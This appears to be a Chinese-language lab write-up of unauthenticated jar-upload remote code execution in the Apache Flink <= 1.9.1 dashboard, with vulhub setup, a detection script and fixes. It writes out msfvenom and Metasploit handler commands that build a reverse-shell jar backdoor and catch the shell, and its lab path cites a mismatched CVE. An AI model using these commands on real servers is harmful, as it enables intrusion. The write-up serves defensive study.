漏洞简介

Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

Apache Flink <= 1.9.1时Dashboard默认没有用户权限认证,攻击者可以未授权进入Flink Dashboard控制台直接上传木马jar包,远程执行任意系统命令获取服务器权限。

环境搭建

这里可以使用vulhub的flink复现

1
2
cd /vulhub/flink/CVE-2020-17518
docker-compose up -d

漏洞复现

访问8081端口即可

image-20220729113008706

使用msf生成一个jar后门

1
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=4444 -f jar > test.jar

启用msf

1
2
3
4
5
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST 192.168.159.128
set LPORT 4444
run

访问Submit New Job页面

image-20220729113328502

通过Add New上传生成的jar后门后点击Submit

image-20220729113615053

成功接收到反弹的shell

image-20220729113710470

漏洞检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

def title():
print('+------------------------------------------')
print('+ \033[34mVersion: Apache Flink <= 1.9.1 \033[0m')
print('+ \033[36m使用格式: python3 Apache_Flink.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:9999 \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/jars/upload"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
try:
response = requests.get(url=vuln_url, headers=headers, timeout=20)
if "Unable to load requested file /jars/upload." in response.text:
print("\033[32m[o] 可能存在 Apache Flink <= 1.9.1 远程代码执行漏洞\n\033[0m")
else:
print("\033[31m[x] 目标Url 文件上传模块无法使用\033[0m")
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")



if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)

修复方案

  1. 升级Apache Flink到1.9.1以上,官方下载地址:https://flink.apache.org/downloads.html,官方升级教程:https://nightlies.apache.org/flink/flink-docs-release-1.13/zh/docs/ops/upgrading/

  2. 设置认证,官方链接:https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html

  3. 禁止Dashboard对外访问或确保只对可信端点开放,内网设置允许访问ip白名单,针对Apache Flink Dashboard 设置防火墙策略